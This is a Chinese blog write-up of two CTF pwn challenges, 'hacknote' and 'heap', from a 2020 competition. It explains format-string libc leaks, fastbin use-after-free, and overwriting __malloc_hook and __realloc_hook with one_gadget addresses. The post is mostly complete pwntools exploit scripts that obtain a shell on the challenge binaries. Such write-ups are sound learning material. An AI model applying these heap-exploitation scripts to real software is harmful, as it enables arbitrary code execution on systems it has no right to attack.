MENU

铁三赛 2020第一赛区 Pwn题(hacknote、heap) Writeup

November 3, 2020 • Read: 301 • Pwn

hacknote

思路:
利用printf漏洞泄露libc_base。
然后add note两次 a和b,长度定为(0x20) ,相当于malloc 4块 a.putfun(0x10), a.context(0x20), b.putfun(0x10), b.context(0x20), 然后free4次
因为要储存堆数据要占用0x8的长度(fastbin size, fastbin没有前chunk size),所以0x10 -> 0x20 0x20 -> 0x30
Fastbin(0x20) -> b.putfun - > a.putfun
Fastbin(0x30) -> b.context -> a.context
这时候申请addnote c 长度定为(0x10)
那么 c.putfun -> b.putfun
然后 Fastbin(0x20) -> a.putfun
再执行 c.context -> a.putfun
这时候就是UAF了,写入c的内容的时候就是写入到原来的a的输出函数,我们写入one_gadget的地址到c的内容覆盖掉原来a的输出函数,这时候再执行输出函数,实际上就是执行了one_gadget。

from pwn import *
from LibcSearcher import *

def addnote(size, content):
    r.sendline("1")
    s = r.recv()
    r.sendline(str(size))
    s = r.recv()
    r.sendline(content)

def delnote(idx):
    s = r.recv()
    r.sendline("2")
    s = r.recv()
    r.sendline(str(idx))

def printnote(idx):
    s = r.recv()
    r.sendline("3")
    s = r.recv()
    r.sendline(str(idx))

r = process('./hacknote')
elf = ELF('./hacknote')
r.recvuntil("!")
r.sendline("%13$p")
r.recvuntil(",0x")
main_addr = r.recvuntil("\n---", drop=True)
main_addr = int(main_addr, 16) - 0xE7
libc = LibcSearcher('__libc_start_main', main_addr)
libc_base = main_addr - libc.dump('__libc_start_main')
print  "libc_base: " + hex(libc_base)

r.recv()
# gdb.attach(r)
one_gadget = [0x4f365, 0x4f3c2, 0x10a45c]
one_gadget_addr = libc_base + one_gadget[2]
print  "one_gadget_addr: " + hex(one_gadget_addr)

addnote(32, "aaaa")  # add note 0321
addnote(32, "ddaa")  # add note 1

delnote(0)  # delete note 0
delnote(1)  # delete note 1

addnote(16, p64(one_gadget_addr))  # add note 2

printnote(0)  # run one_gadget

r.interactive()

我的libc是2.27版本,和比赛环境的2.23不一致,但是大致一样

hacknote


heap

目前思路,先用printf泄露libc,然后利用程序漏洞改写__malloc_hook,但是由于one_gadget都试过执行不了,需要__realloc_hook来修改一下堆栈数据达到one_gadget执行条件。

程序漏洞:
UAF,程序中free后还可以进行写入(没有对指针至0),而且写入的空间达到0x300这样夸张的长度。
所以我们可以修改可控堆的fd指针改为__malloc_hook - 0x23,因为malloc的时候会检测size,所以用这样一个偏移来过检测(偏移位置 + 0x8正好就是7F 00 00 00 00 00 00 00),而且__malloc_hook和__realloc_hook就是相邻的,且__realloc_hook就在__malloc_hook的前八个字节,所以从这样的一个位置可以同时覆盖两块区域。所以我们在__malloc_hook的位置写入有偏移的realloc(因为直接one_gadget不行,所以利用realloc开头的pop进行栈调整),然后在__realloc_hook的位置写入one_gadget_addr。实际顺序,__realloc_hook在__malloc_hook的前面。

调用过程:
malloc -> __malloc_hook -> realloc + Offset -> __realloc_hook -> one_gadget -> get shell

from pwn import *
from LibcSearcher import *

def add_item(size):
    r.sendlineafter("choice: ", "1")
    r.sendlineafter("item: ", str(size))

def edit_item(idx, data):
    r.sendlineafter("choice: ", "3")
    r.sendlineafter("item: ", str(idx))
    r.sendlineafter("data: ", data)

def del_item(idx):
    r.sendlineafter("choice: ", "4")
    r.sendlineafter("item: ", str(idx))

r = process('./heap')
elf = ELF('./heap')
r.sendlineafter("name: ", "%19$p")
r.recvuntil("0x")
main_addr = r.recvuntil("\n", drop=True)
main_addr = int(main_addr, 16) - 0xE7
libc = LibcSearcher('__libc_start_main', main_addr)
libc_base = main_addr - libc.dump('__libc_start_main')
print "libc_base: " + hex(libc_base)

one_gadget = [0x4f365, 0x4f3c2, 0x10a45c]
one_gadget_addr = libc_base + one_gadget[2]
print "one_gadget_addr: " + hex(one_gadget_addr)

malloc_hook_addr = libc_base + libc.dump("__malloc_hook")
realloc_hook_addr = libc_base + libc.dump("__realloc_hook")
realloc_addr = libc_base + libc.dump("realloc")

print "malloc_hook_addr: " + hex(malloc_hook_addr)
print "realloc_hook_addr: " + hex(realloc_hook_addr)
print "realloc_addr: " + hex(realloc_addr)

add_item(0x68) #a
add_item(0x68) #b
del_item(1) #->b
del_item(0) #->a->b
edit_item(0, p64(malloc_hook_addr - 0x23)) #change a
add_item(0x68) #c
add_item(0x68) #d
edit_item(3, 'a' * 27 + p64(one_gadget_addr) + p64(realloc_addr + 4)) #change b
add_item(0x68) #e
r.interactive()

我的libc是2.27版本,和比赛环境的不一致,我怀疑比赛环境可以直接执行,不需要__realloc_hook
一般来说可以用两次free来报错达到执行malloc的目的,但是前提是第二次free指针会被变为0,所以这个时候调用栈里面也会有很多0,方便one_gadget。这也算是一个小技巧吧,如果还是不行再使用__realloc_hook,如果还是不行用__free_hook,这个就比较难利用了。
好像也可以用unsorted bin来泄露libc
这里有个小问题,按理来说如果我把fd改为__malloc_hook - 0x23,那么我申请到的地址应该是从_malloc_hook - 0x13开始写入,但是我这个系统好像申请出来也是_malloc_hook - 0x23的位置,这....我到时候用ubuntu16再试试吧

补充libc2.23版本的exp

from pwn import *
from LibcSearcher import *

def add_item(size):
    r.sendlineafter("choice: ", "1")
    r.sendlineafter("item: ", str(size))

def edit_item(idx, data):
    r.sendlineafter("choice: ", "3")
    r.sendlineafter("item: ", str(idx))
    r.sendlineafter("data: ", data)

def del_item(idx):
    r.sendlineafter("choice: ", "4")
    r.sendlineafter("item: ", str(idx))

r = process('./heap')
elf = ELF('./heap')
r.sendlineafter("name: ", "%19$p")
r.recvuntil("0x")
main_addr = r.recvuntil("\n", drop=True)
main_addr = int(main_addr, 16) - 0xF0
libc = LibcSearcher('__libc_start_main', main_addr)
libc_base = main_addr - libc.dump('__libc_start_main')
print "libc_base: " + hex(libc_base)

one_gadget = [0x45226, 0x4527a, 0xf0364, 0xf1207]
one_gadget_addr = libc_base + one_gadget[1]
print "one_gadget_addr: " + hex(one_gadget_addr)

malloc_hook_addr = libc_base + libc.dump("__malloc_hook")
realloc_hook_addr = libc_base + libc.dump("__realloc_hook")
realloc_addr = libc_base + libc.dump("realloc")

print "malloc_hook_addr: " + hex(malloc_hook_addr)
print "realloc_hook_addr: " + hex(realloc_hook_addr)
print "realloc_addr: " + hex(realloc_addr)

add_item(0x68) #a
add_item(0x68) #b
del_item(1) #->b
del_item(0) #->a->b
edit_item(0, p64(malloc_hook_addr - 0x23)) #change a11
add_item(0x68) #c
add_item(0x68) #d
gdb.attach(r)
edit_item(3, 'a' * (0x23 - 0x10 - 0x8) + p64(one_gadget_addr) + p64(realloc_addr + 2)) #change b
del_item(0)
del_item(0)
r.interactive()

这个版本就正常了

通过unsorted bin获取libc_base
这个方法通过gdb中的vmmap可以看到libc的基址,然后减一下main_arena地址算出来的就是偏移。
这个利用方法的前提是已知libc(比赛的时候给出了libc),用来解决PIE的问题。

from pwn import *
from LibcSearcher import *

def add_item(size):
    r.sendlineafter("choice: ", "1")
    r.sendlineafter("item: ", str(size))

def show_item(idx):
    r.sendlineafter("choice: ", "2")
    r.sendlineafter("item: ", str(idx))

def edit_item(idx, data):
    r.sendlineafter("choice: ", "3")
    r.sendlineafter("item: ", str(idx))
    r.sendlineafter("data: ", data)

def del_item(idx):
    r.sendlineafter("choice: ", "4")
    r.sendlineafter("item: ", str(idx))

r = process('./heap')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
#r.sendlineafter("name: ", "%19$p")
r.sendlineafter("name: ", "wjh")
#r.recvuntil("0x")
#main_addr = r.recvuntil("\n", drop=True)
#main_addr = int(main_addr, 16) - 0xF0

add_item(0x90)
add_item(0x20)
del_item(0)
show_item(0)
r.recvuntil("0: ")
main_arena_addr = r.recvuntil("\n", drop=True).ljust(8, '\x00')
main_arena_addr = u64(main_arena_addr) - 88
libc_base = main_arena_addr - 0x3c4b20
print "libc_base: " + hex(libc_base)

one_gadget = [0x45226, 0x4527a, 0xf0364, 0xf1207]
one_gadget_addr = libc_base + one_gadget[1]
print "one_gadget_addr: " + hex(one_gadget_addr)

malloc_hook_addr = libc_base + libc.sym["__malloc_hook"]
realloc_hook_addr = libc_base + libc.sym["__realloc_hook"]
realloc_addr = libc_base + libc.sym["realloc"]

print "malloc_hook_addr: " + hex(malloc_hook_addr)
print "realloc_hook_addr: " + hex(realloc_hook_addr)
print "realloc_addr: " + hex(realloc_addr)

add_item(0x68) #a
add_item(0x68) #b
del_item(3) #->b
del_item(2) #->a->b
edit_item(2, p64(malloc_hook_addr - 0x23)) #change a11
add_item(0x68) #c
add_item(0x68) #d
gdb.attach(r)
edit_item(5, 'a' * (0x23 - 0x10 - 0x8) + p64(one_gadget_addr) + p64(realloc_addr + 2)) #change b
del_item(0)
del_item(0)
r.interactive()

heap

Last Modified: December 24, 2020
Archives QR Code Tip
QR Code for this page
Tipping QR Code